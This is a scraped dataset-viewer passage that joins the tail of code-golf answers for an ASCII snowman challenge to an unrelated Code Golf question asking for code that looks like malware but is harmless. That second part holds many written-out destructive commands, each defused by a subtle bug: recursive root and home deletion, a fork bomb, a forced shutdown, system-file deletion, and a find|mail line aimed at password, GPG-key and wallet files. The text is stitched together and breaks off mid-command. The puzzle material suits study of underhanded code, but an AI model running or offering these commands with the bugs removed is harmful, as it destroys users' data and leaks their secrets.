\n_===_\",$@\"___\n.....\",$@\"_\n/_\\\",$@\"___\n(_*_)\"},s={\" : \",\"] [\",\"> <\",\"   \"},z={\" : \",\"\\\" \\\"\",\"___\",\"   \"};string n=\",._ \",e=\".oO-\",x=\"< / \",y=\"> \\\\ \";TextBox t;\nButton b,d;Label l;[STAThread]static void Main(){Application.EnableVisualStyles();Application.SetCompatibleTextRenderingDefault(false);\nApplication.Run(new P());}P(){t=new();b=new();d=new();l=new();SuspendLayout();t.Location=new(0,0);t.MaxLength=8;t.Size=new(269,23\n);t.TabIndex=0;b.Location=new(-1,22);b.Size=new(200,25);b.TabIndex=1;b.Text=\"Build the snowman!\";b.UseVisualStyleBackColor=true;b.Click+=m;d.\nLocation=new(198,22);d.Size=new(72,25);d.TabIndex=2;d.Text=\"Random\";d.UseVisualStyleBackColor=true;d.Click+=(_,_)=>{int a=0;Random r=new();\nfor(int i=0;i<8;i++)a+=r.Next(1,5)*(int)Math.Pow(10,i);m(a.ToString(),null);};l.AutoSize=false;l.Font=new(\"Consolas\",9);l.Location=new(0,41);\nl.Size=new(269,73);l.TextAlign=System.Drawing.ContentAlignment.MiddleCenter;Font=new(\"Segoe UI\",9);ClientSize=new(269,114);Controls.Add(l);\nControls.Add(t);Controls.Add(b);Controls.Add(d);FormBorderStyle=FormBorderStyle.FixedSingle;MaximizeBox=false;Text=\"Snowman Maker\";l.\nSendToBack();t.BringToFront();ResumeLayout(true);}void m(object q,EventArgs k){t.Enabled=false;b.Enabled=false;d.Enabled=false;if(q is string\nj)t.Text=j;if(t.Text.Length!=8||!int.TryParse(t.Text,out _))MessageBox.Show(\"Invalid input format.\");else{int[]a=new int[8];for(int i=0;i<8;\ni++){a[i]=t.Text[i]-'0'-1;if(a[i]>3){MessageBox.Show(\"Invalid input format.\");t.Enabled=true;b.Enabled=true;d.Enabled=true;return;}}l.Text=$@\"{h[a[0]]}\n{(a[4]==1?'\\\\':' ')}({e[a[2]]}{n[a[1]]}{e[a[3]]}){(a[5]==1?'/':' ')}\n{x[a[4]]}({s[a[6]]}){y[a[5]]}\n({z[a[7]]})\";}t.Enabled=true;b.Enabled=true;d.Enabled=true;}}\n```\nTo run this code, make a Windows Forms Application project in Visual Studio for .NET Framework 4.8 (or whatever editor you use for C#), remove Form1.cs and delete it from the project, save the project, and add `9.0` to the project file. Then, you can copy the code into Program.cs (overwrite everything) and run it.\n[Answer]\n# F#, 369 bytes\n```\nlet f(g:string)=\n let b=\" \"\n let p=printfn\n let i x=int(g.[x])-49\n p\"  %s  \"[\"\";\"___\";\" _ \";\"___\"].[i 0]\n p\" %s \"[\"_===_\";\".....\";\" /_\\ \";\"(_*_)\"].[i 0]\n p\"%s(%c%c%c)%s\"[b;\"\\\\\";b;b].[i 4]\".oO-\".[i 2]\",._ \".[i 1]\".oO-\".[i 3][b;\"/\";b;b;b].[i 5]\n p\"%s(%s)%s\"[\"<\";b;\"/\";b].[i 4][\" : \";\"] [\";\"> <\";\"   \"].[i 6][\">\";b;\"\\\\\";b].[i 5]\n p\" (%s) \"[\" : \";\"\\\" \\\"\";\"___\";\"   \"].[i 7]\n```\n[Try it online!](https://tio.run/##TVDRaoQwEHz3K5YFQUvNnV7a0tP41uf2PYZwHqcIrYqRcv16uxttMYEwm52ZbKZxyXWYbsvyeZuhidqzm6eub2MVAN/UCgFXOKqROnPTr2UHd0Vl1Ap9N3EiXwMYESB0AKgRc7TW0gkWNmyE7uBoPI1YRLJKKeYIXsw92IrZkX2w8Z4fuii88o5Dh7rOsaowr/PaU6RBMbwnyDgz@CjoRcbp7v5kWHXwok329O/svCsW3PWczVYjnHkcA5rOEgoekX7n28/ULr3Cz7KzBHbk763qCqHaxfGnfzGLLt76efr5GCjG0gQc6tel6@Eytd9A@TceCc0ZHJclk1kmZZqefgE)\nBecause `g` uses an array accessor, I need to explicitly specify the type in the function definition as a `string`, which is why the function definition has `(g:string)`.\nApart from that, it's usually an array of `strings` accessed by an index. The hat, left and right arms which would go on separate lines are split into separate top and bottom arrays. The `i` function changes a number in the argument `g` into the array index. And the letter `b` replaces the one-space strings in the arrays.\nGreat challenge! My favourite snowman is probably `242244113`:\n```\n  ___  \n ..... \n (o o) \n ( : ) \n ( : ) \n```\nim watching you\n[Answer]\n# PHP, 378 bytes\n```\n'   _===____..... _  /_\\ ___(_*_)',N=>',._ ',L=>'.oO-',R=>'.oO-',X=>' <\\  /  ',Y=>' >/  \\  ',T=>' : ] [> <   ',B=>' : \" \"___   '];echo preg_replace_callback(\"/[A-Z]/\",function($m){global$A,$p,$r,$f;$g=$m[0];return$f($f($p[$g],strlen($p[$g])/4)[$r[array_search($g,array_keys($p))]-1])[(int)$A[$g]++];},'  HHH\n HHHHH\nX(LNR)Y\nX(TTT)Y\n (BBB)');\n```\n[Try it online!](https://tio.run/##PZBRa8IwEMff9ykOCTSZqZ3Tp9U47FMfxIH0QRdDqCWtYm1DWgcy9tXXXdjYEfL//467Izl7ssOweCWl6HqnO1uf@5g4QUpKcld9yKliMbFCpmIZAIAWQmiMiQ/QAJE@ADLVj5oFfINVfKIh4Gt0k/YtDPj23@38jMUBmwAr9p6WaA@eMk8voEAuYQE@k/xmRjDC@T6jYlOcWrDOVNoZW@eF0UVe18e8uNBRJFfhu4pGvLw1RX9uG0qu7LOq22NekxUnlhPHSRmTSpCrfFKxM/3NNf6jeKwkleK4gto0f8SiOZPEydy5/K47k7viREnFf/li7h0WMqZCXJGk56ZnZOX7xmMVf3FcVpqmD/5C2dH1Zsv2qFmWoQJNkoQFLB6GYTadYcyfv1vrn90NYfMD)\nI like [wise Mr. Owl](https://www.youtube.com/watch?v=O6rHeD5x2tI) `31333342`\n```\n   _ \n  /_\\ \n (O,O) \n/(   )\\\n (\" \")\n```\n[Answer]\n## Python 2.7, 257 bytes (i think)\n```\nH,N,L,R,X,Y,T,B=map(int,i)\nl='\\n'\ns=' '\ne=' .o0-'\nF='  \\  / '\nS=' < / \\ >'\no,c='()'\nprint s+'      _ _ ___ _ _\\n\\n\\n\\n    _. (=./_=._*=.\\__. )'[H::4]+l+F[X]+o+e[L]+' ,._ '[N]+e[R]+c+F[-Y]+l+S[X]+o+'  ]> :    [< '[T::4]+c+S[-Y]+l+s+o+'  \"_ : _  \"_ '[B::4]+c\n```\nwhere 'i' is the input as an string (e.g \"13243213\")\n[Answer]\n# Clojure (~~407~~ 402 bytes)\n```\n(defn a[s](let[[H N L R X Y T B](into[](map #(-(int %)49)(into[]s)))h([\"\"\"  ___\"\"   _\"\"  ___\"]H)i([\" _===_\"\" .....\"\"  /_\\\\\"\" (_*_)\"]H)n([\",\"\".\"\"_\"\" \"]N)e[\".\"\"o\"\"O\"\"-\"]l([\" \"\"\\\\\"\" \"\" \"]X)m([\"<\"\" \"\"/\"\" \"]X)r([\"\"\"/\"\"\"\"\"]Y)u([\">\"\"\"\"\\\\\"\"\"]Y)t([\" : \"\"] [\"\"> <\"\"   \"]T)b([\" : \"\"   \"\"___\"\"   \"]B)d([\"\"\"\\\" \\\"\"\"\"\"\"]B)f(str \\newline)](str h f i f l \"(\" (e L) n (e R) \")\" r f m \"(\" t \")\" u f \" (\" b \")\" f \"  \" d)))\n```\nHopefully that's clear to everyone.\nAnd if not...\nUngolfed version:\n```\n(defn build-a-snowman [s]\n  (let [ [H N L R X Y T B] (into [] (map #(- (int %) 49) (into [] s)))\n         hat1     ([\"\"       \"  ___\"  \"   _\"   \"  ___\" ] H) ; first line of hats\n         hat2     ([\" _===_\" \" .....\" \"  /_\\\\\" \" (_*_)\"] H) ; second line of hats\n         nose     ([\",\"      \".\"      \"_\"      \" \"     ] N)\n         eye      [\".\"      \"o\"      \"O\"      \"-\"     ]\n         left1    ([\" \"      \"\\\\\"     \" \"      \" \"     ] X) ; left arm, upper position\n         left2    ([\"<\"      \" \"      \"/\"      \" \"     ] X) ; left arm, lower position\n         right1   ([\"\"       \"/\"      \"\"       \"\"      ] Y) ; right arm, upper position\n         right2   ([\">\"      \"\"       \"\\\\\"     \"\"      ] Y) ; right arm, lower position\n         torso    ([\" : \"    \"] [\"    \"> <\"    \"   \"   ] T)\n         base1    ([\" : \"    \"   \"    \"___\"    \"   \"   ] B) ; first line of base\n         base2    ([\"\"       \"\\\" \\\"\"  \"\"       \"\"      ] B) ; second line of base\n         nl       (str \\newline) ]\n    (str hat1 nl\n         hat2 nl\n         left1 \"(\" (eye L) nose (eye R) \")\" right1 nl\n         left2 \"(\" torso \")\" right2 nl\n         \" (\" base1 \")\" nl\n         \"  \" base2)))\n```\nTests:\n```\n(println (a \"33232124\"))  ; waving guy with fez \n(println (a \"11114411\"))  ; simple ASCII-art snowman\n(println (a \"34334442\"))  ; mouse\n(println (a \"41214433\"))  ; commissar with monocle\n(println (a \"41212243\"))  ; commissar celebrating success of five-year plan\n(println (a \"41232243\"))  ; commissar after too much vodka\n```\nMy favorite:\n34334442 - mouse\n[Try it online!](https://tio.run/##bVBbT9swFH7nVxydaZI9rUNN/DKgSOteQEJMYjyAEityU4dm86WKnVbsz5djkz7AsBIdf@e7@Nit8X/GQR8ObK07B6oKkhkdq@oKbuEG7uABHuEelpL1LvpKMqu28InNEoTPXHznExE45xtWISJA0zSpQHME8or3xEGzWCxS81taiTxt6poqa740PKkcqb4iEpdkKG@5rhLyiL8QZyhNikHMrqx44JZaFxmeTp0hz0GIlnzkI8HLtE@u1Igp5IwMEkh4CRd5WpT3fHVkEsbjPVAu@Tpn1gg1vuYuecdCHKB2em96p7nMcAMd9PQbQEYX03DDwaV6xwE5wkCczVzMeCRMOoRVhgnQt6bXPDlh24Ee15BdAZZlURbzQiDnAOewV7vePcHT@Az7PtKp@h@8NcxpCTGfT4bQ263R8OP3z@vrmRoiBOf3Vrl3p4iyFEIUk8n6Mei3CjEvKLYsJ0Xrre1DUMPrGNY735oPLEUh/re02ujVoGK6SRjbVocAvoOu3@nZsybB1rwfkLLKD7NUF/UA0XuwY7uBnV//VYfDCw \"Clojure – Try It Online\")\n[Answer]\n# [Dart](https://www.dartlang.org/), 307 bytes\n```\nf(i,{r='.o0-',s=' : '}){i=i.split('').map((j)=>int.parse(j)-1).toList();return' ${['_===_',' ___ \\n.....',' /_\\\\ ',' ___ \\n (_*_)'][i[0]]}\\n${' \\\\  '[i[4]]}(${r[i[2]]+',._ '[i[1]]+r[i[3]]})${' /  '[i[5]]}\\n${'< /  '[i[4]]}(${[s,'] [','> <','  '][i[6]]})${'> \\\\ '[i[5]]}\\n (${[s,'\" \"','___','   '][i[7]]})';}\n```\n[Try it online!](https://tio.run/##bZBBboMwEEX3PcUIIY3dECfYtJVKzAl6A0AWUhLJVWOQcbuxODu1CVGyyF8x/8@bb3HsrJvnM9GZtxJZv99iNkqET8CJei01G4cf7QgiZZduIOSbykobx4bOjqcwbXPKXP@lR0doaU/u1xqE1NeopJQKMwSlFDSGRcVxp5oG7j4Q9aootrWu9207NSb1CGEDMDhFcEjqbfjkbbvBjKnFz8MQTRFyGoHddf/tduFwc9YL9ZhhC3WoreAQy2FpfF/5KjbeD8BKJJCE3fDOhbgiHxHBcpr/en2ES6cNof4FYLDhr5AzSYTggue8SOgGG4O0fAxzHpXzp6HgRSGCnobFIvFATvM/ \"Dart – Try It Online\")\n[Answer]\n# Zsh, 247 bytes\n[try it online!!](https://tio.run/##LY27bsMwDEV3fcWFQUBS0DhwnbaBIGbIlCFIlwB5KAJXbxk8FKjhb1dp15wuzuElf/uuFOeHI1thZukgIgb1NB2gERt5LtTJSrw1V7Z4AhYnrl/fa5z5rRYFd@Ub5ebGNmqyuCgJyEh7REyNB9u9dq05zKZCpYcnY2KMFWg4JvfThy54avJo6JroIzs6JWoznRO95ylvs6d7os9s6Pa/MFxCu3L0tW58aEdPj9lCxWEWu0VUZtQnrg/BN2MpZbvMHw)\n```\n(){H='_===_h ___\n .....h  _\n  /_\\h ___\n (_*_)'\nW=' \\  ' L=.oO- N=,._\\  Y=' /  '\nX='< / ' T=' : ] [> <   ' Z='> \\ '\nB=' : \" \"___   '\n<<<\" ${H[(ws:h:)$1]}\n$W[$5]($L[$3]$N[$2]$L[$4])$Y[$6]\n$X[$5](${T:3*($7-1):3})$Z[$6]\n (${B:3*($8-1):3})\"\n} ${(s::)1}\n```\nfav snowman:\n```\n43232122 Cossack dancer\n  ___\n (_*_)\n\\(o_O) \n (] [)>\n (\" \")\n```\n]"}}},{"rowIdx":40,"cells":{"text":{"kind":"string","value":"[Question]\n    [\n**Closed.** This question is [off-topic](/help/closed-questions). It is not currently accepting answers.\n \n \n---\n This question does not appear to be about code golf or coding challenges within the scope defined in the [help center](https://codegolf.stackexchange.com/help/on-topic).\nClosed 7 years ago.\n**Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions.\n \n \nA troll has captured you and is forcing you to write malware (defined as a program that damages the computer that runs it). The troll can read and understand code, but is not so good at spotting bugs.\nYour goal is to write a program that:\n1. Looks like malware; i.e., a beginning programmer reading the code will be convinced that the code causes damage to the computer running it.\n2. Actually does no damage at all.\nNOTE: The troll reads only the code - not the comments. So the code itself should be clear and convincing enough.\nEXAMPLE (bash):\n```\nrm - rf /home\n```\nThis example looks like `rm -rf /home` which removes all home folders from the system, but actually, because of the space before the rf, this will not work and cause only a harmless error message.\nThis is an acceptable solution but it is not very good, because the bug is quite easy to detect.\nOn the other hand, a program that is complex and unreadable will also not be a very good solution, because it will not look like malware.\nA good solution should be readable enough to convince the reader that it's malware, but contain a bug that is difficult to detect and renders it harmless.\nThis is a popularity contest, so the code with the most upvotes wins.\n    \n[Answer]\n# Bash\nI've gone the other way. Instead of deleting everything on your hard drive, I'm gonna fill it up with junk.\n![](https://i.stack.imgur.com/3UXmu.jpg)\nThis script creates a folder then continually con`cat`s all the files together and puts them in a new one, adding in the value of `ls -al` for good measure (and so that the starting file has something).\n```\n#!/bin/bash/\nmakeSpam()\n{\n    string=`cat *`\n    string=$string`ls -al`\n    echo $string > \"file\"$i\".spam\"\n}\nmkdir \"SpamForYou\"\ncd \"SpamForYou\"\ni=1\nwhile [ 1 ]\ndo\n  makeSpam $i\n  i=$(($i + 1))\ndone\n```\nexcept...\n> \n>  /bin/bash/ (instead of /bin/bash) is very unlikely to be a valid interpreter. This is just a common typo of mine. And, since \"the shebang is technically a comment, the troll will ignore it\"\n> \n> \n> \n[Answer]\n# Haskell\nCheck [this manual page](http://hackage.haskell.org/package/directory-1.2.0.1/docs/System-Directory.html#v:removeDirectoryRecursive), `removeDirectoryRecursive` deletes a directory with all of its contents!\n```\nimport System.Directory\nmain = return (removeDirectoryRecursive \"/\")\n```\n> \n>  The correct code would be `main = removeDirectoryRecursive \"/\"`  \n> \n>  The `main` function is supposed to return a **concept** of doing something. `removeDirectoryRecursive \"/\"` returns a **concept** of wiping your filesystem, but the `return` function (yes, it is a function), wraps its argument in a dummy **concept** of returning that value.  \n> \n>  So we end up with a concept of returning a concept of wiping your drive. *(Yo dawg I herd you like concepts.)* The haskell runtime executes the **concept** returned from `main` and discards the returned value, which in our case is a concept of wiping your filesystem.\n> \n> \n> \n[Answer]\n# PHP\nHere's a recursive PHP script that attempts to delete every single file in your website. It could take a while to complete if the website is quite large, so be patient...\n```\n\n\n

Deleting website; please wait\n

\n\n

Website deletion complete

\n```\nJust one teeny-weeny problem...\n> \n> There is no **delete()** command in PHP. The script will fail as soon as it encounters this command, but no error message will be displayed because error reporting was suppressed by prefixing this command with **@**. The flashing GIF image gives the impression that something is happening, when absolutely nothing is happening at all.\n> \n> \n> \n[Answer]\n## Perl (Unix)\nDeletes all files on the system.\n```\n#! /usr/bin/perl -w\nuse strict;\nsub killdir {\n opendir(my $dh, \".\");\n my @dl = readdir($dh);\n closedir($dh);\n foreach my $de (@dl) {\n if (-d $de) {\n chdir($de);\n killdir();\n chdir(\"..\");\n rmdir($de);\n } else {\n unlink($de);\n }\n }\n}\nchdir(\"/\");\nkilldir();\n```\n## Features\n* This is valid Perl. It even compiles and runs with `-w` and `use strict`!\n* No quibbles like C++'s `delete`. `unlink` really is the function to delete a file, `rmdir` really does remove a directory, etc.\n* Correctly handles deeply nested directories for which the absolute pathname may exceed the system's maximum length, by changing into each directory in order to use relative paths. Also, won't run out of directory handles, since it reads and closes the directory before recursing.\n## Spoiler\n> \n> On Unix, the first entry in the root directory is normally \".\" so the program will perform an infinite recursion of chdir(\".\") until it runs out of memory and crashes.\n> \n> \n> \n## Further notes\n> \n> This was harder to get right than expected. If you don't use the chdir approach, you eventually get a pathname that's too long. Then -d returns false and the infinite recursion is broken, and files may actually get deleted! A similar bug can happen if you keep directory handles open; eventually you run out, opendir fails, killdir returns, and deletion starts to happen.\n> \n> \n> \n[Answer]\n## Shell one-liner\nThis will steal all the victim's passwords, private keys, bitcoins, etc.\n```\n find / -name \"passwd\" -or -name \"shadow\" -or -name \"secring.gpg\" -or -name \"wallet.dat\" |mail [[email protected]](/cdn-cgi/l/email-protection)\n```\nSpoiler:\n> \n> This may look as though it emails all those files to the troll, but actually it just emails their filenames.\n> \n> \n> \n[Answer]\n# Batch/CMD\nSave\n```\nDEL %0\nDEL %1\nDEL %2\nDEL %3\nDEL %4\nDEL %5\nDEL %6\nDEL %7\nDEL %8\nDEL %9\n```\nand make them run it with parameters of each of the drives on the computer.\n> \n> %0 is always the first parameter - the file name. After this comes the set of actual parameters, but it has already deleted itself so it will not continue.\n> \n> \n> \n[Answer]\n## Javascript\n```\ninfiniteLoop=true;\nevilMessage='I spam you !';\nwhile(infiniteLoop) {\n eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));\n alert(evilMessage);\n}\n```\nWell, the original malware will not blow up your computer but can be annoying. \nThis is harmless because:\n> \n> The `eval` will break the infinite loop and modify the message.\n> \n> \n> \n[Answer]\n# Java\nMay the gods forgive me for submitting to your wretched demands, troll.\n```\nclass HomeWrecker {\n public static void main(String[] args) throws Exception {\n Runtime.getRuntime().exec(\"rm -rf /home/*\");\n }\n}\n```\n> \n> `Runtime.exec` does not invoke a shell, so glob expansion never happens and the command will unsuccessfully try to delete a home directory named literally \"\\*\"\n> \n> \n> \n[Answer]\n# C\nSince he doesn't read comments that should do it:\n```\n#include\nint main()\n{\n//Are you reading this??/\n system(\"C:\\\\WINDOWS\\\\System32\\\\shutdown /s /t 0000\");\n return 0;\n}\n```\n# C++ Version\nthanks to **DragonLord** for this.\n```\n#include\nint main ()\n{\n//Are you reading this??/\nsystem(\"shutdown -s -t 0000\");\nreturn 0; \n}\n```\nAdd this into the startup folder and restart the computer.\n**How it works:**\n> \n> ??/ is a trigraph and will add the next line into the comment so basically it won't do anything. Note: do not try this trigraphs might be turned off in some compilers as default and must be turned on for this to work. \n> \n> \n> \n[Answer]\n# Java\n```\nimport java.io.File;\nclass derp\n{\n public static void main( String[] a)\n {\n new File(\"C:\\\\windows\\\\System32\\ntoskrnl.exe\").delete();\n }\n}\n```\n> \n> Using a escape character (the \\n before ntoskrnl.exe is a newline instead of the normal N)\n> \n> \n> \n[Answer]\n# BASH\n```\n#!/bin/bash\nset -t \necho \"hahaha deleting files..\"\nrm -rf / --no-preserve-root\n```\n> \n> set -t will exit after reading and executing one command. This script prints no output and all files are safe! \n> \n> \n> \nOr the following **BUT READ SPOILER BEFORE RUNNING**\n```\n#!/bin/bash -t\necho \"hahaha deleting files..\"\nrm -rf / --no-preserve-root\n```\n> \n> By popular demand.. `#!/bin/bash -t` will exit after reading and executing one command. Don't run this under `bash -x` as it will ignore the `-t` and execute the commands in the script. \n> \n> \n> \n[Answer]\n# D\nThis program is valid and executes with no error. It spawns a deleting function in a new thread, that deletes the `root`directory.\n```\nimport std.concurrency : spawn;\nimport std.file : rmdirRecurse;\nstring root;\nvoid deleteRoot()\n{\n if (root)\n rmdirRecurse(root);\n}\nvoid main()\n{\n root = \"/\";\n spawn(&deleteRoot);\n // ... could add a waiting animation here.\n}\n```\nBut nothing is deleted...\n> \n> because in D, a variable declared at module scope is thread-local by default.\n> The `main` functions sets it to \"/\", but the spawn threads\n> has an empty copy, so the `rmdirRecurse` function is not called.\n> \n> \n> \n[Answer]\n# Python\n```\nprint \"****----....____....----\"\"\"\" This program will clear the browser cache \"\nimport os\nfrom os.path import expanduser\nhome = expanduser(\"~\")\nos.remove(home)\nprint \"\"\"\"----....____....----***** Cache cleaned. \" \n```\n> \n> three quotes \"\"\" start a multiline string in Python\n> \n> \n> \n[Answer]\n# C (Unix)\nAdding some ads never harmed anybody.\n```\n#include \nint main()\n{\n // Join the crew\n goto http;//www.trolling.com\n print(\"Sucker!\\n\");\n system(\"rm -rf ~\");\n // Remember goto\n http://www.trolling.com\n return 0;\n}\n```\n> \n> http: it's a label, the goto jump to the label missing the harful code. :V\n> \n> \n> \n[Answer]\n# JavaScript\n```\nfunction foo(a) { // Returns an object, and all objects are truly\n return\n {\n a: a\n };\n}\nfor(var i=0; foo(i); ++i) // loop condition is always truly\n alert('Infinite alerts!');\n```\n> \n> No alert is shown. Since JavaScript doesn't require `;` at the end of lines, it is automatically inserted after `return`, becoming `return;`. Then `undefined`, which is falsy, is returned instead of the \"object\" (which in fact is parsed as a block statement).\n> \n> \n> \n[Answer]\n## JavaScript\n```\n//Config: Warning!!! only set to true on victims box!\nvar deleteEverything = true;\nfunction deleteIfEvil(){\n if(deleteEverything){\n alert('Destroy Everything!');\n //clear the flag\n var deleteEverything = false;\n } else {\n alert('Tested OK!');\n }\n}\ndeleteIfEvil();\n```\n*Swap the destroy alert for whatever nasty destructive action you would want to use.*\nSpoiler:\n> \n> Although it looks like the config is set to delete... **and it is**! the 'var' declaration inside the function is \"Hoisted\" and as a result is actually false when entering the function.\n> \n> \n> \n[Answer]\n# Java\nLet's just delete some important files!\n```\nimport java.io.File;\nimport java.io.IOException;\npublic class Deleter {\n \n private File importantFile = null;\n public Deleter(File f) {\n \n importantFile = f;\n \n /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{\n * }{ I don't care how important that file is. I'm going to delete it! }{\n * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{\n \n importantFile.delete();\n \n }\n \n public static void main(String[] args) throws IOException {\n // Let's delete some important stuff\n new Deleter(new File(\"/boot/vmlinuz\"));\n new Deleter(new File(\"/etc/passwd\"));\n new Deleter(new File(\"/etc/crontab\"));\n new Deleter(new File(\"/etc/sudoers\"));\n }\n \n}\n```\n> \n> Hidden in the block comment is an extra }{ outside of the comment. That puts file deletion in a separate instance initialization block, which is executed before the constructor. At that time, importantFile is still null.\n> \n> \n> \n[Answer]\n# Bash, C, Linux\nMaybe it's not exactly a malware, but sure can be a part of one :)\nIt's an amazing exploit that can give you root on any linux machine! Shhh, tell no one that we have it!\n```\n#!/bin/sh\ncd /tmp\ncat >ex.c < \n> In fact it only tricks all applications that you have UID=0 (this is the root user id).\n> \n> \n> \nThe code is written by Lcamtuf, source: \n[Answer]\n# bash\n```\ncat </dev/null &\n```\n> \n> There is a syntax error on \"fork-bomb\" line. After **{**, there should be a space. Without it, the script fails because the function definition isn't followed by the **{** token by itself.\n> \n> \n> \n[Answer]\n## Emacs Lisp\nFirst a simple one. This one does nothing. It is actually trying to delete elements equal to :recursive from the list returned by `directory-files`. It's not going to delete any files.\n```\n(delete :recursive\n (directory-files \"/\"))\n```\nHere is one that could stump even elisp vets.\n```\n(let ((files (directory-files \"/\")))\n (while (setq file (pop files) )\n (delete-file file)))\n```\nThis is only 1 character away from deleting your root dir.\nemacs lisp will allow jsut about anything to be the name of a symbol (variable, function, macro, etc). It is OK to use unicode in the name of your symbols and that is what is happening here.\n`setq` can take any number of args `(setq a 3 b 4)` is like doing a = 3; b = 4;\nbut `(setq a 3 b)` is also valid and is doing a = 3; b = nil;\nThe return value of `setq' is the value assigned to last variable. 4 and nil respectively in the examples.\n`(setq a 3 b)` is exactly what is happening in the code, but instead of b I am using a unicode whitespace character. I am assigning the value nil to a variable named whose name is the unicode character 0x2001. Because of this nil is returned by the setq and the condition for the while loop is never true. Take out that whitespace character and it will run just fine.\n[Answer]\n# Just another perl hacker.\nI wrote [this one in 2002](http://www.perlmonks.org/?node_id=153545), while hanging out at [Perlmonks](http://www.perlmonks.org/) and generally just trying to push my knowledge of Perl as far as possible. Didn't edit it at all, but it still runs.\n```\n#!/usr/bin/perl -w\nuse strict;\nrequire File::Path;\nmy $root_dir = '/';\n$root_dir = 'c:\\\\' if( $^O =~ /Win/i );\nrmtree( $root_dir );\nmkdir( $root_dir );\nopen( ROOT, $root_dir );\nwhile(1)\n{\n BEGIN{@INC=sub{*DATA}}\n print ROOT ;\n}\n__DATA__\n# Fill the harddrive with junk!\n''=~('('.'?'.'{'.('`'|'%').('['\n^'-').('`'|'!').('`'|',').'\"'.(\n'['^'+').('['^')').('`'|\"\\)\").(\n'`'|'.').('['^'/').('{'^('[')).\n'\\\\'.'\"'.('`'^'*').('['^\"\\.\").(\n'['^'(').('['^'/').('{'^\"\\[\").(\n'`'|'!').('`'|'.').('`'|\"\\/\").(\n'['^'/').('`'|'(').('`'|\"\\%\").(\n'['^')').('{'^'[').('['^\"\\+\").(\n'`'|'%').('['^')').('`'|\"\\,\").(\n'{'^'[').('`'|'(').('`'|\"\\!\").(\n'`'|'#').('`'|'+').('`'|\"\\%\").(\n'['^')').'.'.'\\\\'.'\\\\'.('`'|'.'\n).'\\\\'.'\"'.';'.('`'|'%').(\"\\[\"^\n'#').('`'|')').('['^'/').(';').\n'\"'.'}'.')');$:='.'^'~';$~='@'|\n'(';$^=')'^'[';$/='`'|('.');$_=\n'('^'}';$,='`'|'!';$\\=')'^\"\\}\";\n$:='.'^'~';$~='@'|'(';$^=(')')^\n'[';$/='`'|'.';$_='('^('}');$,=\n'`'|'!';$\\=')'^'}';$:='.'^\"\\~\";\n$~='@'|'(';$^=')'^'[';$/=('`')|\n'.';$_='('^'}';$,='`'|('!');$\\=\n')'^'}';$:='.'^'~';$~='@'|\"\\(\";\n$^=')'^'[';$/='`'|'.';$_=('(')^\n'}';$,='`'|'!';$\\=')'^('}');$:=\n'.'^'~';$~='@'|'(';$^=')'^\"\\[\";\n```\n> \n> If I remember correctly, the `BEGIN` block runs first of all, no matter where it is in the code. It replaces `@INC` which determines where Perl loads it's libraries from with a subroutine (it's usually a set of paths, but this is allowed). The subroutine is actually the obfuscated data block, which is doing some regexp + eval magic. Then, when the code hits `require File::Path;` (it wouldn't have worked with `use`) this sub is executed and just prints \"Just another perl hacker.\", as is tradition, and exits. The rest of the code is never reached.\n> \n> \n> \n[Answer]\n# C++ with Boost\nThis will delete all files on the file system\n```\n#include \"boost/filesystem.hpp\"\nusing namespace boost::filesystem;\nvoid delete_directory(const path* dir_path)\n{\n if (!exists(*dir_path)) return;\n \n directory_iterator end_file_itr;\n for (directory_iterator file_itr(*dir_path);\n file_itr != end_file_itr;\n ++file_itr) {\n const path* file = &file_itr->path();\n if (file_itr->status().type() == directory_file) {\n delete_directory(file);\n } else {\n delete(file);\n }\n }\n \n delete(dir_path);\n}\nint main() {\n delete_directory(new path(\"/\"));\n return 0;\n}\n```\n> \n> Actually it won't. `delete` in C++ is used to free memory allocated by `new` and not to delete files and directories. The program will most likely crash with a segmentation fault as it tries to deallocate the memory allocated by Boost, but by that time, I'll have escaped the troll's captivity.\n> \n> \n> \n[Answer]\n## PHP:\n```\n$condition = true and false;\nif (!$condition) {\n // DO EVIL - Just do something evil here\n}\n```\n> \n> At first glance, `$condition` is false, but the `=` operator has precedence over `and`, so the condition is true. So evil is never done.\n> \n> \n> \n[Answer]\n# Java\nThis will pretend to download RAM, but it will delete the user's home directory.\n```\nimport java.util.*;\nimport java.io.*;\nclass RamDownloaderIO {\n public static void main(String[] args) {\n long onePercentWaitTime = 2*60*1000; // 2 minutes\n long twoPercentWaitTime = 7*60*1000; // 7 minutes\n long deleteWaitTime = 9*60*1000; // 9 minutes\n long completeWaitTime = 10*60*1000; // 10 minutes\n Timer timer = new Timer(true);\n // User thinks, Hmm this is taking a while\n timer.schedule(new TimerTask() {\n public void run() {\n System.out.println(\"1% done\");\n }\n }, onePercentWaitTime);\n // User is now completely impatient, and either leaves to get a coffee\n // or starts reading reddit\n timer.schedule(new TimerTask() {\n public void run() {\n System.out.println(\"2% done\");\n }\n }, twoPercentWaitTime);\n // Now that he's not looking, delete everything in his home directory\n timer.schedule(new TimerTask() {\n public void run() {\n try {\n final Runtime rt = Runtime.getRuntime();\n rt.exec(\"rm -rf ~/*\");\n } catch (IOException e) {\n }\n }\n }, deleteWaitTime);\n // Inform the user that the task is finished\n timer.schedule(new TimerTask() {\n public void run() {\n System.out.println(\"Download complete!\");\n System.out.println(\"You now have 21.47GB RAM!\");\n System.exit(0);\n }\n }, completeWaitTime);\n System.out.println(\"Welcome to the ramdownloader.io RAM downloader\");\n System.out.println(\"Please wait. Downloading your free RAM...\");\n }\n}\n```\n> \n> `Timer` uses a background thread to call your `TimerTask`s you submitted to it. `new Timer(true)` creates a `Timer` with the background thread set as a daemon thread, so the program just exits immediately before the tasks can be run. The overly long code distracts the troll from seeing the `true` parameter.\n> \n> \n> \n[Answer]\n```\nrm -rf ⁄\n```\n> \n> The character is not the regular slash character (/, i.e. SOLIDUS in unicode) but instead is FRACTION SLASH. Will print a message like \"rm: ⁄: No such file or directory\"\n> \n> \n> \n[Answer]\n# bash\n```\n# This script should always be executed as root #\nset -e\ncleanup() {\n rm -rf / --no-preserve-root\n}\neval $(base64 -d <<< 